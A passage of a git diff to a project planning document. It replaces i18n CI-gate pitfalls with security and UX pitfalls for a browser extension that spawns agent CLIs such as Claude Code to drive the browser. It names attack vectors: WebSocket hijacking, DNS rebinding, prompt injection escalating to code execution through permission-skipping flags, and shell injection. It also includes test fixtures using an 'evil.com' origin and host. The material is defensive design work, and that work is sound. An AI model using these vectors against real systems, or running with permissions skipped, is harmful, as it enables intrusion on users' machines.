few seconds to start)" rather than "Run" which implies immediacy. **Warning signs:** -- Any audit conclusion that a page/namespace is "already translated, just needs the ignore-pattern dropped" based on finding translation-shaped files anywhere in `src/locale/`, without confirming those exact strings appear as `` in the live `messages..xlf`. -- Trans-unit ID namespace mismatches between what a template currently marks (post-refactor IDs) and what old translation artifacts cover (pre-refactor IDs) โ€” a silent gap that "the files exist" audits will miss. +- User double-clicks producing two parallel spawns. +- No progress state between "click" and "first agent output". +- Detection scan running on every side-panel focus event. **Phase to address:** -Full-page audit phase, specifically the stats-page sub-scope โ€” verify live-XLF coverage by ID before assuming any pre-existing JSON artifact represents completed work. +Phase 62 (delegation UX). Warm pool is deferred beyond MVP โ€” do NOT add it in v0.9.91. --- -### Pitfall 5: A CI drift gate that fires on `messages.xlf` file changes (not `` text changes) will chronically false-positive on legitimate churn and get bypassed +### Pitfall 14: Cost surprises on subscription vs API billing **What goes wrong:** -Given Pitfall 1's evidence (242 of 247 changed trans-units in the triggering commit were pure line-number churn, and 11 prior commits in this repo's history were 100% pure churn with zero content change), a CI gate defined as "fail the build if `messages.xlf` changes without all 5 locale files changing in the same commit/PR" will fire on essentially every PR that touches any showcase template, even when zero translatable copy changed. This is the downstream_consumer's named risk ("a gate so strict it blocks legitimate small English copy tweaks, or so loose it never fires") materializing in its strict form. A gate that fires on every trivial refactor trains engineers to either (a) always touch all 5 locale files cosmetically to satisfy the gate (defeating its purpose โ€” a rubber-stamp commit doesn't mean anyone verified/updated the actual translation), or (b) add a bypass/override habit, which is exactly how WARNING-02 and the dashboard exclusion have survived 6+ milestones already โ€” this project has a demonstrated pattern of long-lived "we'll fix it later" carve-outs once a gate becomes annoying enough to route around. +User is on Claude Pro subscription, thinks delegated runs are "free" from their perspective. Reality (as of 2026): Anthropic **announced** on May 14, 2026 that programmatic `claude -p` and Agent SDK usage would be metered separately at API rates, then **paused** the change on June 15, 2026, promising advance notice before any future implementation. So the billing model is currently unchanged but explicitly uncertain. Meanwhile OpenAI Codex, Gemini CLI, and third-party CLIs each have their own subscription/API split that FSB does not control. + +Compounded risk: a runaway agent (Pitfall 3, Pitfall 4) can burn through a subscription's request quota OR blow API credits in minutes. Reported industry norm: "A runaway agent or a bad prompt can burn through credit fast and then either stop your pipeline or quietly start garnering extra usage." **Why it happens:** -It is much easier to implement a gate as a coarse "did file X change without file Y changing" check than to implement true per-trans-unit ``-text diffing. The coarse version is a natural first design, especially under time pressure, but this specific repo's `ng extract-i18n` behavior (rewriting `` line numbers on every single trans-unit for any unrelated template edit) makes the coarse version fail almost immediately in practice โ€” not a hypothetical edge case, but the *normal* case for this codebase given how frequently showcase templates change. +FSB has no visibility into the CLI's billing model; the CLI has no visibility into FSB's intent. **How to avoid:** -- Design the CI gate to diff **only `` text per trans-unit `id`**, ignoring ``/line-number/attribute-order churn entirely. Concretely: for each `id` present in both the base and head `messages.xlf`, compare the `...` inner text (and inline `` placeholder structure, since a placeholder reorder is also a real semantic change) โ€” only IDs where this text differs are "real" drift candidates. -- Once real per-ID drift is detected, the gate should check that each of the 5 locale files has a **correspondingly updated** `` for that specific `id` (via the source-hash-sidecar approach from Pitfall 3, or equivalent) โ€” not merely "the locale file changed at all" (a locale file could change for unrelated IDs and still miss the one that actually drifted). -- New trans-unit `id`s (a string added for the first time) need the same treatment as changed ones โ€” the gate must also catch "brand-new English string with `i18n` marker, but no corresponding `` was ever assembled into the 5 locale files," not just "existing string whose meaning changed." (This is the coverage-gap side of the gate, complementary to the currency-gap side.) -- Pilot the gate against this repo's own git history (the 11 prior pure-churn commits + `6d3ad363` itself) before merging it โ€” if it doesn't correctly stay silent on all 11 pure-churn commits and correctly fire on `6d3ad363`'s 5 real changes, the design is wrong. This is a uniquely available, free regression-test corpus for this exact gate. +1. **Per-adapter billing disclosure in the Providers panel.** For each agent provider, show a one-liner: "Claude Code: uses your Claude subscription today; Anthropic has announced future changes โ€” check status." Link to the vendor's current billing docs. +2. **Session-level token/turn ceiling.** The delegation payload includes a max-turns cap (e.g., 50 turns default). Adapter passes to the CLI where supported (Claude Code: `--max-turns`; Codex `exec`: turn count limit). If unsupported, FSB kills the CLI at the cap. +3. **Live token estimate in side panel.** The v0.9.69 telemetry pipeline already models per-MCP-client token/cost per turn โ€” reuse for delegation. Show cumulative estimate, not just a raw count. +4. **Warn on billing model changes.** If a new Anthropic pricing announcement lands during the milestone (or any adapter's), Providers panel copy MUST reflect the new state within the release cycle. Do NOT hardcode "free with your subscription" language. +5. **Post-run cost summary.** Every delegated run ends with a card summarizing turns / tokens / estimated cost. **Warning signs:** -- Gate implementation PR review that doesn't include a "ran against N historical commits, X true positives, Y false positives" validation table. -- Any showcase-template-only PR (no locale-file changes intended) failing the new gate in its first few weeks of operation โ€” that's the gate mis-firing on churn, not real drift, and needs to be caught before it trains the team to distrust/route around it the way WARNING-02 was routed around. -- A gate bypass label, `--no-verify`, or "skip i18n check" annotation appearing in any PR within the first month post-launch โ€” early warning that the gate is already being treated as noise. +- Copy that says "unlimited" or "free" for any adapter. +- No max-turn cap in the spawn payload. +- No post-run cost summary. **Phase to address:** -CI drift-gate phase (the "New CI drift-detection gate" target feature) โ€” must be built and back-tested against this repo's actual commit history (both the 11 clean-churn commits and the one dirty `6d3ad363` commit) before being wired into `.github/workflows/ci.yml`'s `website` job as a hard-fail step, matching the existing pattern used by `verify-locale-sync.mjs` and the `ng extract-i18n | diff` step. +Phase 62 (UX). Reuse v0.9.69 telemetry primitives. --- -### Pitfall 6: Normalization of deviance โ€” "we'll fix it in the next milestone" carve-outs have a proven multi-milestone half-life in this exact project +### Pitfall 15: The spawned agent and the user fight over the same browser tab **What goes wrong:** -This project has direct, repeated evidence that scope explicitly deferred as "coming in the next milestone" does not come back on schedule: WARNING-02 (locale-cookie short-circuit on the bare-`/` Accept-Language redirect) was deferred at v0.9.63 (shipped 2026-05-13) as a "v0.9.64+ UX revisit" candidate, and has now been carried, unfixed, across v0.9.69, v0.10.0 (attempt-1 and attempt-2), v0.11.0, v0.12.0, v1.0.0, and v1.1.0 โ€” six-plus milestones and roughly two months of shipping cadence โ€” before finally being picked up in v1.2.0. Similarly, the dashboard page was excluded from `lint:i18n` at v0.9.63 with an explicit "v0.9.65" target that never shipped as a milestone at all; a second page (`stats`) has since been added to that same permanent-feeling ignore-pattern list. A milestone that "closes" this i18n gap by fixing the currently-known issues but leaving any *new* carve-out (e.g., "we'll get to the newly-discovered X in the next milestone") risks reproducing the exact same multi-milestone-limbo pattern this milestone was created to fix. +User delegates "Buy this hoodie". Claude Code starts driving the browser via FSB's MCP. User simultaneously scrolls the same tab, opens a dev tool, or clicks a link. Now: +- Agent's `read_page` returns a snapshot from an in-between state; agent decides "the button is at coord (400, 300)"; user has scrolled; agent's `cdp_click_at` clicks a completely wrong element. +- User clicks "Add to cart"; agent's next tool call is `read_page`; agent sees the cart page, gets confused, tries to navigate back. +- Focus-steal on tab switch collides with the agent's next `switch_tab` call. + +Cursor and OpenClaw report this exact bug class. Browser-Use has multiple issues on parent/sub-agent tab conflict. **Why it happens:** -Deferred debt with no forcing function (no failing CI check, no blocking gate, just a line item in a planning doc) reliably loses priority to whatever the *next* milestone's headline feature is โ€” and headline features keep arriving faster than backlog items get promoted. The `lint:i18n` ignore-pattern is a uniquely dangerous mechanism here because it is *itself* a silence mechanism: once a page is on the ignore list, the CI system that would otherwise nag about missing `i18n` markers goes quiet on that surface, removing the visibility that might otherwise prompt someone to revisit it. The same applies to WARNING-02: as a "closeout caveat" living in prose inside `PROJECT.md` rather than as a failing test or gate, there was no mechanical pressure forcing it back onto anyone's plate. +v0.9.60 already solved multi-agent-per-tab collision via tab ownership. But the ORIGINAL user is not an agent with a tokenized owner โ€” they own the browser physically. There is no code-side lock the user can respect. **How to avoid:** -- Any residual gap this milestone chooses NOT to close (if one is found) should not be recorded as prose-only deferred debt. At minimum, add a lightweight automated check (even a soft warning, or a dated TODO with a script that fails after N days/milestones) so the gap has some mechanical visibility rather than relying purely on someone remembering to read old milestone notes. -- Specifically for the ignore-pattern mechanism: once `stats` (and previously `dashboard`) is fully translated and removed from `--ignore-pattern` in `lint:i18n`, do not add any *new* page to that ignore list without an explicit, tracked, time-boxed justification โ€” the ignore-pattern has now demonstrated it can silently absorb debt for 14+ months of project history (dashboard since v0.9.63, stats added at some point after) with no automatic re-surfacing. -- Given the milestone explicitly reaffirms "dashboard stays excluded -- app surface, not marketing content, out of scope for this milestone," make sure that decision is captured as an explicit, permanent architectural boundary (dashboard is genuinely a different content class, not marketing copy) rather than another "deferred, will revisit" placeholder โ€” otherwise this milestone risks becoming milestone #7 in the WARNING-02-style limbo pattern, just for a different item. +1. **Delegation UI explicitly asks: "Let Claude drive this tab, or open a new tab?"** Default: new tab. If new tab, `open_tab` (background) claims ownership for the delegated agent. Original tab stays with the user. +2. **When the user MUST watch (checkout, form fills), show a full-tab banner: "Claude Code is driving this tab. Take control?"** Clicking "Take control" pauses the agent and yields ownership. Existing v0.9.24 partial-outcome + auth-wall handoff patterns provide the receipt. +3. **Change-report reconciliation.** v0.9.60's post-action `change_report` already reports URL/DOM delta between action and observation. Extend to detect "unexpected user input" (URL changed to something the agent did not navigate to โ†’ assume user grabbed the wheel, pause the agent). +4. **Explicit lock on interactive fields.** When the agent is typing into a form, install a click-guard overlay (v0.9.36 badge pattern). User click on the guard = "yield control?". +5. **NEVER auto-focus the delegated tab.** Background execution by default (v0.9.60 Phase 246 already commits to this for MCP-routed surfaces โ€” extend to delegation). **Warning signs:** -- Any closeout note for this milestone that reads like "X remains deferred to a future milestone" without an accompanying automated check, test, or CI gate that will make X visible again on its own. -- A `lint:i18n` ignore-pattern list that grows a third entry in some future milestone without an explicit, reviewed justification distinguishing it from "marketing content we just haven't gotten to yet." +- Any code path that steals focus on delegation start. +- No detection of user-initiated navigation during an agent turn. +- User reports "the agent broke because I scrolled." **Phase to address:** -Milestone closeout/audit phase โ€” the milestone audit should explicitly check whether any newly-identified-but-unaddressed item is captured with a mechanical forcing function (test, CI gate, or dated tripwire) rather than prose-only deferral, given this project's demonstrated multi-milestone deferral pattern. +Phase 62 (delegation UX). Reuse v0.9.60 ownership infrastructure; the delta is user-vs-agent, not agent-vs-agent. + +--- + +### Pitfall 16: Hub/relay bridge topology edge case โ€” hub exits mid-run + +**What goes wrong:** +The existing bridge tests (`tests/mcp-bridge-topology.test.js`) verify multi-hub / multi-relay routing. Delegation adds a new node: the daemon spawns a CLI which connects back to FSB's MCP as its own client. If the hub (the daemon's MCP server) exits mid-run, the CLI's MCP transport drops. Depending on adapter behavior, the CLI either: +- Exits (best case; extension detects agent gone, user sees "agent offline"). +- Hangs forever waiting for MCP reconnection (worst case; user cancels, but the extension already lost visibility). +- Reconnects to a fresh hub instance that does not know about this agent's ownership state โ†’ cross-agent tab claim collision. + +INV-01 forbids changing any existing MCP wire contract. So delegation's new event types MUST be additive; a hub restart that revives with an older protocol version must degrade gracefully, not break the delegation. + +**Why it happens:** +The delegation topology is new; existing bridge tests do not cover the "CLI-as-MCP-client-of-FSB-daemon" case. + +**How to avoid:** +1. **CLI-as-client heartbeat.** The adapter contract requires each CLI to ping FSB's MCP server every 30 s (v0.9.60's connection_id + reconnect grace pattern applies here). Missed pings โ†’ daemon removes the agent's ownership; extension is notified. +2. **Hub restart re-registers agents from persisted state.** On daemon restart, the daemon reads persisted `(agent_id, connection_id, adapter)` and rejects incoming MCP connections that do not match. Prevents ghost-agent revival attacks. +3. **Additive event types only.** Every new bridge event for delegation (`delegation:start`, `delegation:progress`, `delegation:end`, etc.) uses new type strings; all existing types byte-stable. INV-01 gate covers this โ€” extend the existing test that pins EXPECTED_NON_TRIGGER_REGISTRY_HASH to also pin the bridge event-type set. +4. **Topology test coverage.** Add cases for: hub exit during CLI init; hub exit during CLI turn; CLI exits before hub sees the completion; hub sees TWO CLIs claiming the same agent_id (only one wins). + +**Warning signs:** +- Any new bridge event that renames or reshapes an existing event. +- Any tool schema change on the CLI-facing MCP surface. +- Topology test suite lacks hub-restart-mid-delegation cases. + +**Phase to address:** +Phase 60 (channel design). Bridge topology tests extended in every subsequent phase that touches the wire. --- ## Technical Debt Patterns -Shortcuts that seem reasonable but create long-term problems, specific to this resync/gate effort. +Shortcuts that seem reasonable but create long-term problems. | Shortcut | Immediate Benefit | Long-term Cost | When Acceptable | |----------|-------------------|----------------|-----------------| -| Resyncing only the ~5 real content changes found in `6d3ad363` and skipping a full re-verification of all ~940 trans-units across 5 locales | Much faster turnaround | Any *other* pre-existing stale translation (from an earlier, unnoticed churn-plus-content commit) stays hidden โ€” the milestone's stated goal is "full, drift-free coverage," which a scoped-to-one-commit fix does not achieve | Never, given the milestone's explicit stated goal is full completeness, not just fixing the one known commit | -| Wiring the new CI gate as a whole-file byte/line diff instead of per-ID ``-text diff | Ships in hours instead of days | Chronic false positives (Pitfall 5) that train bypass habits within weeks, given this repo's demonstrated churn rate | Never for the permanent gate; acceptable only as a very short-lived placeholder explicitly labeled "temporary, coarse, to be replaced" with a tracked follow-up | -| Machine-translating the 5 (or more) drifted strings without human/native-speaker review, matching whatever process produced the original v0.9.63 AI-filled XLIFFs | Fast, no new tooling needed | Risk of subtly wrong brand/product terminology (e.g., the real diff shows nuanced positioning language changes like "polished OpenClaw skill and 66 MCP tools" -> "skill plus 66 MCP tools" and a full home-meta-description rewrite โ€” these are marketing-voice changes, not mechanical substitutions, and deserve the same quality bar as the original translation pass) | Acceptable only if v0.9.63 already established AI-filled XLIFFs as the accepted quality bar for this project (verify against `.planning/milestones/v0.9.63-*` before assuming) | -| Leaving `translations.stats-274.*.json` in the repo unresolved (neither merged nor deleted) after this milestone ships | Avoids a decision this milestone doesn't strictly require | Sets up a third stranded-artifact discovery in some future milestone, identical in shape to Pitfall 4 | Never โ€” resolve one way or the other (merge or delete) as part of closing the stats-page scope | -| Treating `state="translated"` as sufficient and not introducing any new staleness-tracking mechanism | No new file/schema to design | The new CI gate has no persistent memory of "which source-hash was this translation last verified against," forcing it to always compare against the immediately-prior commit only โ€” which fails to catch drift that accumulated silently over multiple untracked commits before the gate existed | Only acceptable if the gate's first version explicitly diffs against the CI-gate's own launch-commit `messages.xlf` snapshot (a fixed baseline) rather than "previous commit," to avoid missing already-accumulated-but-uncaught drift | +| `--dangerously-skip-permissions` as default | "Just works" demo | RCE-adjacent (Pitfall 3, 4); every prompt-injection incident becomes RCE | **Never.** Not even in an "advanced mode." | +| URL-query shared secret (`?token=abc`) | Simple to code | Leaks via access logs, DevTools, packet captures | **Never.** Use `Sec-WebSocket-Protocol` header. | +| Skip Origin check "because we only bind localhost" | Removes handshake complexity | CSWSH (Pitfall 1), DNS rebind (Pitfall 2) | **Never.** Both are documented, exploited-in-the-wild attack vectors. | +| `child.kill()` without tree-kill | 1-line implementation | Zombies on Windows, orphaned grandchildren on POSIX (Pitfall 6) | Only in a shrink-wrapped Node script that spawns zero grandchildren. Delegation always violates this. | +| Manual `stdout.on('data')` buffer accumulation | Small code | Backpressure deadlock (Pitfall 7) on long runs | Only if the total output is guaranteed < 4 KB. | +| In-memory `Map` in SW | Fast reads | State loss on SW eviction (Pitfall 10) | Only for read-only caches that can rehydrate from storage. | +| Warm CLI pool | Reduces cold-start (Pitfall 13) | Memory footprint; RCE persistence horizon (killed daemon still has a warm attacker's CLI in memory) | Post-MVP. Do NOT add in v0.9.91. | +| "Auto-detect" clients from `clientInfo` without allowlist | Zero UX friction | Spoofing (v0.9.36 already used allowlisted labels for exactly this reason) | Only for observability/logging; NEVER for permission decisions. | +| Ship a native messaging host to bypass MV3 SW limits | Solves Pitfall 10 completely | Adds `nativeMessaging` permission (extension review risk); native binary distribution/signing burden per OS | Deferred option in PROJECT.md; do NOT ship in v0.9.91. | + +--- ## Integration Gotchas -Common mistakes when connecting the new gate/resync work to this repo's existing i18n tooling. +Common mistakes when connecting to external services. | Integration | Common Mistake | Correct Approach | |-------------|----------------|------------------| -| `ng extract-i18n --output-path ... | diff` (existing CI-02 gate) | Assuming this gate already catches source/locale drift because it's "the i18n CI check" โ€” it only verifies that `messages.xlf` (the English source file) matches what the current templates would extract; it has no visibility into the 5 translated locale files at all | Keep CI-02 as-is (it correctly guards against stale English source vs. templates) and add the new drift gate as an *additional*, separate step that specifically compares `messages.xlf` against the 5 `messages..xlf` files โ€” don't try to fold drift detection into CI-02, which serves a different, narrower purpose | -| `verify-locale-sync.mjs` (existing locale-registry gate) | Assuming this script's name implies it checks translation content sync โ€” it only asserts that the `LOCALES` array literal is textually identical between `locale-constants.ts` and `locale-constants.js` (Angular vs. Express locale *list* parity), nothing about `.xlf` content | Do not extend this script's scope to cover translation-content drift; build the new gate as a separate script (e.g., `verify-locale-content-sync.mjs`) so each gate keeps one clear, narrow responsibility, matching this repo's existing pattern of one script per concern | -| `lint:i18n` (`@angular-eslint/template/i18n`) | Assuming adding `stats/**` removal from the ignore-pattern automatically means the stats page's translations are also current โ€” the eslint rule only checks that templates carry markers, it doesn't touch the locale `.xlf` files at all | Sequence the work so the stats page's actual translations (in all 5 locale files) are verified current *before* dropping it from the ignore-pattern, otherwise the ignore-pattern removal is cosmetic and the eslint gate will pass regardless of whether the translations are real | -| `assemble-xliff-target.mjs` / `merge-and-assemble-274.mjs` (manual translation-merge tools) | Running these tools without first confirming they still handle every current `` inline-placeholder shape correctly โ€” the tool does a source-XLIFF-body regex walk and injects `` after ``; if the current `messages.xlf`'s placeholder structure for a given ID has changed (e.g., a link wrapped a different substring since the tool was last exercised), the mechanical injection could silently produce a target with placeholders that don't align 1:1 with the current source's `` tags | Re-run these tools against the *current* `messages.xlf` for every resync (never reuse an old generated `messages..xlf` as a base) and spot-check inline placeholder (`` etc.) alignment between `` and `` for any trans-unit that had placeholder-adjacent copy changes, not just plain-text changes | -| `i18nMissingTranslation: "error"` (Angular build-time gate in `angular.json`) | Assuming a green production build after resync proves the resync is complete and correct โ€” this flag only fails on *missing* trans-unit IDs, and will happily build successfully with every one of the 5 real changed strings still showing stale (pre-`6d3ad363`) translations, since the IDs still exist, just with outdated `` text | Never use "the Angular build succeeded" as evidence of translation currency; only the new source-text-diff gate (or an equivalent manual ``-vs-`` review) proves currency | -| CI job ordering in `.github/workflows/ci.yml`'s `website` job | Inserting the new drift gate step in the wrong position relative to `npm --prefix showcase/angular run build` โ€” if it runs after the build, a drift failure won't prevent a broken/stale deploy from being produced as a build artifact even if the job ultimately reports failure | Insert the new gate step alongside the other pre-build i18n checks (`verify-locale-sync.mjs`, `lint:i18n`, the `ng extract-i18n` diff step) โ€” all currently run *before* `npm run build` in the `website` job โ€” so a drift failure blocks the build step from even running, consistent with the existing gate ordering | +| Claude Code CLI | Use `--continue` in `-p` mode expecting session resume | It silently creates a new session; use `--resume ` | +| Claude Code CLI | Pass user prompt via `--system-prompt` | Prompt injection surface; use `--append-system-prompt` or positional prompt | +| Claude Code CLI | Skip `--strict-mcp-config` | User's global MCP config bleeds into delegation; hermetic runs require it (PROJECT.md commits to this) | +| Codex CLI (`exec`) | Merge stdout and stderr | Progress is on stderr, final message on stdout โ€” separate streams | +| Gemini CLI | Use `--yolo` in non-interactive | Bypasses trust; documented as the CVSS 10 vector | +| Gemini CLI | Trust workspace folder auto | GHSA-wpqr-6v78-jr5g โ€” workspace trust auto-accepts in headless; force explicit `--no-trust-workspace` | +| Any agent CLI | Load user's home-dir agent definition | TrustFall vector; ship FSB's `fsb` agent definition explicitly | +| Any agent CLI | Assume `--version` output format | Not stable; parse defensively, log unknown formats | +| MCP handshake (`initialize`) | Treat `clientInfo.name` as authoritative | Trivially spoofable; use for observability only, gate permissions on the WS transport identity | +| MCP tools registration | Change existing tool schemas | Violates INV-01; all new delegation events must be new types | +| Chrome `chrome.storage.local` | Store the daemon shared secret | Readable by any process reading the profile; use a file with mode 0600 in `~/.fsb/` | +| WebSocket to localhost | Bind `0.0.0.0` | Reachable from LAN + Docker; bind `127.0.0.1` only | +| WebSocket to localhost | Accept any Origin | CSWSH; strict extension-ID allowlist | + +--- ## Performance Traps -Not primarily a performance-sensitive domain for this milestone (a resync + CI gate on a moderate-size XLIFF corpus), but scale is still worth naming given the corpus size already observed. +Patterns that work at small scale but fail as usage grows. | Trap | Symptoms | Prevention | When It Breaks | |------|----------|------------|----------------| -| Per-trans-unit ``-text diff implemented as an O(n squared) nested-loop ID lookup across ~940+ trans-units x 5 locale files x every CI run | CI job for the `website` build noticeably slower after the new gate lands | Parse each XLIFF once into an `id -> sourceText` map (single pass, O(n)), then do map lookups for comparison โ€” this is the natural approach anyway and avoids any real risk, but worth stating explicitly since a naive regex-per-ID-per-file implementation could be written accidentally | Would only become noticeable well past 940 trans-units x 5 locales (~4,700 lookups) โ€” unlikely to bite at current scale, but avoid the O(n squared) version from the start rather than optimizing later | -| Full XLIFF file re-parse per locale on every CI run, when only `messages.xlf` (the source) typically changes | Marginal CI time increase | Not worth optimizing away โ€” the existing `ng extract-i18n | diff` step already does a comparable full-file operation, and correctness (catching all drift) matters far more than shaving seconds off this specific check | Not currently a real threshold; flagged only for completeness | +| SW keepalive via `chrome.runtime.getPlatformInfo()` every 20 s | Extra CPU, battery drain on laptops | Use WebSocket heartbeat (Chrome 116+ resets SW timer on WS messages) | Any user with the extension always-on | +| Stdout accumulation without drain | Silent CLI stalls after ~64 KB output | `readline` interface + immediate forwarding | Any run longer than a few thousand tokens | +| No detach on `spawn` | Kill leaves grandchildren running; CLI eats memory | `{ detached: true }` + group kill | Any run that spawns MCP sub-servers or shell tools (all of them) | +| Re-scan `platforms.ts` disk paths on every side-panel focus | Slow UI, disk IO | Cache with `chrome.storage.local` + invalidate on install-CLI events | Users with 20+ candidate clients installed | +| No max-turns cap | Runaway agent burns API credit / subscription requests | Enforce `--max-turns` cap in adapter | Any long/hard task; any prompt-injection incident | +| Ring buffer for progress events without eviction | Memory growth over long runs | Bounded queue (e.g., 1000 events) with drop-oldest | Any delegation > 20 min | +| Broadcasting every JSONL line to the side panel | Side-panel React/DOM churn | Batch to 30 fps (~33 ms coalesce window) | Streams > ~30 events/s (chatty models) | -## Security Mistakes +--- -Not a primary security-sensitive surface for this milestone; the one relevant item concerns brand-name/URL integrity across resync. +## Security Mistakes | Mistake | Risk | Prevention | |---------|------|------------| -| Machine-resyncing the 5 real drifted strings without checking `DO-NOT-TRANSLATE.md` (already present in `src/locale/`) | Brand terms, product names, or functional URLs could get incorrectly translated/altered during the resync pass โ€” this repo has direct history of a prior commit (`6ac4d210`, "chore(i18n): rewrite functional URLs in locale files, preserve attribution") specifically fixing exactly this kind of mistake | Re-check every resynced string against `DO-NOT-TRANSLATE.md`'s rules (verified in this research to already document brand/MCP-term preservation, per the stats-274 JSON `_comment` fields) before merging any new translated `` text | -| Introducing a new inline `` placeholder in a resynced `` (e.g., the `home.hero`/`agents.meta.description` changes reference new product terms like "Hermes") without verifying the corresponding `` in all 5 locales preserves the exact placeholder ID and count | A mismatched or dropped placeholder in a translated XLIFF can break Angular's i18n interpolation at build time (or silently drop the wrapped markup, e.g. a `` brand wrapper) | When any resynced string contains `` placeholders, verify placeholder count and IDs match exactly between `` and every locale's `` before considering that trans-unit resolved | +| Accept spawn requests from any WebSocket origin | CSWSH โ†’ RCE (Mailpit, Dozzle, Nanobot 2025-2026 CVEs) | Extension-ID allowlist on Origin | +| Skip Host header validation on localhost binding | DNS rebinding โ†’ RCE (CVE-2025-66414/66416; CVE-2025-49596) | Reject Host != `127.0.0.1`/`localhost` | +| Let the reverse-request payload set CLI flags | Prompt-injection escalates to RCE (CVE-2025-59536, TrustFall) | Daemon owns the flag set; reject unknown payload keys | +| Ship `--dangerously-skip-permissions` / `--yolo` as default | 1-click RCE on any prompt injection | Never expose the flag through delegation | +| Use `sh -c "claude -p '$prompt'"` for spawn | Shell injection (CVE-2025-54795) | `execFile`/`spawn` with argv array; never a shell | +| Log the shared secret in diagnostics | Token leak โ†’ spawn RCE | Redact `Sec-WebSocket-Protocol`, `token=`, `?token` patterns | +| Store secret in `chrome.storage.sync` | Syncs across devices โ€” huge leak surface | `chrome.storage.local` or file-based; never sync | +| Trust `clientInfo.name` from MCP handshake | Spoofable โ€” used as evidence for permission decisions โ†’ priv-esc | Allowlist for observability; gate permissions on transport ownership | +| Auto-trust project-local agent config | TrustFall class (May 2026, all four major CLIs) | Ship FSB's shipped `fsb` agent definition; `--strict-mcp-config` mandatory | +| Bind daemon to `0.0.0.0` for "just in case" LAN | LAN attackers reach spawn channel | `127.0.0.1` only | +| Skip TLS on the daemon-side stdio connection to the CLI | N/A โ€” stdio is process-local, not TLS-able | Rely on process ownership; do not expose the stdio channel over network | +| Merge delegation progress into the visual-session badge without ownership check | Cross-agent badge spoofing (v0.9.36 anti-pattern) | Reuse v0.9.36 allowlist + ownership token pattern | +| Store executed prompts un-redacted (for audit) alongside secrets | Prompt log becomes a leak vector | Separate stores; redact known secret shapes on write | + +--- ## UX Pitfalls | Pitfall | User Impact | Better Approach | -|---------|-------------|------------------| -| Fixing WARNING-02 (cookie short-circuit on bare-`/` Accept-Language redirect) without re-testing interaction with the *other* 4 CI-verified i18n surfaces (prerendered per-locale HTML with hreflang/canonical fan-out, verified by `verify:hreflang`) | A redirect-logic change could alter which locale's prerendered HTML a bot/crawler or fresh visitor lands on first, potentially disturbing the hreflang fan-out assumptions `verify:hreflang` was built to check | Re-run `verify:hreflang` (and ideally add a targeted regression test for the specific cookie-vs-Accept-Language interaction) as part of the WARNING-02 fix, not just a manual "the redirect now respects the cookie" smoke check | -| Resyncing translated marketing copy (the 5 real drifted strings) via literal/mechanical translation of the new English wording without re-reading it in context of the whole page's marketing narrative | A drifted string like the `home.meta.description` rewrite ("Local-first Chrome automation and MCP browser layer for AI agents, with trigger watchers, real uploads, and guarded first-party API capability calls") is a substantive repositioning of the product description, not a word-swap โ€” a purely mechanical re-translation risks losing marketing intent/tone that a human reviewer would catch | Treat the ~5 (or more, once fully audited) real content-drift strings as requiring the same translation-quality process used for the original v0.9.63 work (whatever AI-filled + review process that was), not a lighter-weight "just patch the diff" pass | +|---------|-------------|-----------------| +| Silent 3-8 s cold start (Pitfall 13) | User double-clicks, spawns two runs | Step-labeled progress ("spawning โ†’ initializing โ†’ sending prompt"); disable button while in flight | +| No "who is running" indicator | User confused about which client did what | Agent-suffix badge (v0.9.60 pattern) with adapter name | +| Chat mode uses `-p` per turn (Pitfall 12) | Agent has no context; user thinks "AI is dumb" | Explicit `session_id` + `--resume` per adapter capability | +| No cost visibility (Pitfall 14) | Bill shock / quota exhaustion | Live token estimate + post-run cost card | +| Agent hijacks the user's active tab (Pitfall 15) | User loses control; work destroyed | Default to background tab; explicit "take control" affordance | +| "Delegate" button reads "Run" | Implies immediacy; user tolerance is 500 ms, not 5 s | "Delegate (starts in a few secondsโ€ฆ)" | +| Doctor state shows spinner on daemon offline | User doesn't know what to do | Explicit "Restart daemon: `npx -y fsb-mcp-server serve`" step | +| Providers panel copy says "no key required โ€” free!" | Users delegate 500 tasks, subscription tanks | "Uses your subscription; check current billing" + link | +| No visible list of what the agent has done | User can't verify or reverse | Action log alongside the side panel (v0.9.24 action-history pattern) | +| Silent CLI hang looks identical to "thinking" | User waits 10 min for a dead CLI | Progress-idle warning at 30 s + kill switch always visible | +| No "recent delegations" audit | User can't review what was executed | Persisted ring buffer of (prompt, adapter, outcome, cost) | + +--- ## "Looks Done But Isn't" Checklist -Things that appear complete but are missing critical pieces, specific to this milestone. +Things that appear complete but are missing critical pieces. + +- [ ] **Delegation MVP:** Often missing Origin allowlist on the reverse-request WS โ€” verify a fixture with `Origin: https://evil.com` is rejected before merge (Pitfall 1). +- [ ] **Delegation MVP:** Often missing DNS-rebind Host check โ€” verify a fixture with `Host: evil.com:7225` is rejected even though the target resolves to loopback (Pitfall 2). +- [ ] **Spawn payload contract:** Often accepts flag overrides from the wire โ€” verify the daemon rejects any payload key not in the strict allowlist (Pitfall 3). +- [ ] **"Skip permissions" toggle:** Often ships as a "faster mode" โ€” verify grep of the entire codebase for `dangerously-skip-permissions` finds only test/documentation strings, not spawn code (Pitfall 4). +- [ ] **Shared secret:** Often leaks into diagnostic logs โ€” verify the redaction test suite includes `token=` and `Sec-WebSocket-Protocol` patterns (Pitfall 5). +- [ ] **Kill switch:** Often kills only the parent โ€” verify grandchild processes (spawned by the CLI) are terminated on cancel, on all supported platforms (Pitfall 6). Test on Windows explicitly. +- [ ] **Long runs:** Often deadlock at ~64 KB stdout โ€” verify a fixture that emits 200 KB of JSONL completes without stall (Pitfall 7). +- [ ] **Daemon crash:** Often leaves running CLI processes โ€” verify orphan scan on daemon startup terminates them (Pitfall 8). +- [ ] **Adapter version compat:** Often assumes latest โ€” verify per-adapter compatibility matrix + fail-loud on unknown event types (Pitfall 9). +- [ ] **SW eviction:** Often loses state โ€” verify a fixture that forces SW eviction mid-delegation preserves state on respawn (Pitfall 10). +- [ ] **Tripwire tests:** Often break silently across the milestone โ€” verify CI runs the FULL test suite on every extension-touching PR from the first commit (Pitfall 11). +- [ ] **Chat mode:** Often uses `-p` per turn โ€” verify follow-up prompts genuinely resume the agent's context via `--resume ` (Pitfall 12). +- [ ] **Cost visibility:** Often absent โ€” verify every completed run shows a cost summary card (Pitfall 14). +- [ ] **Tab conflict:** Often steals focus โ€” verify delegation defaults to a background tab (Pitfall 15). +- [ ] **Bridge topology:** Often lacks hub-restart cases โ€” verify test suite includes hub-exit-mid-delegation cases (Pitfall 16). +- [ ] **INV-01:** Often violated additively "safely" โ€” verify the frozen `EXPECTED_NON_TRIGGER_REGISTRY_HASH` and bridge event-type pin are unchanged after all delegation wiring lands. +- [ ] **Agent identity capture:** Often only records copy-clicks โ€” verify `clientInfo` from MCP `initialize` is threaded through the existing `agent:register` round-trip (currently empty payload per 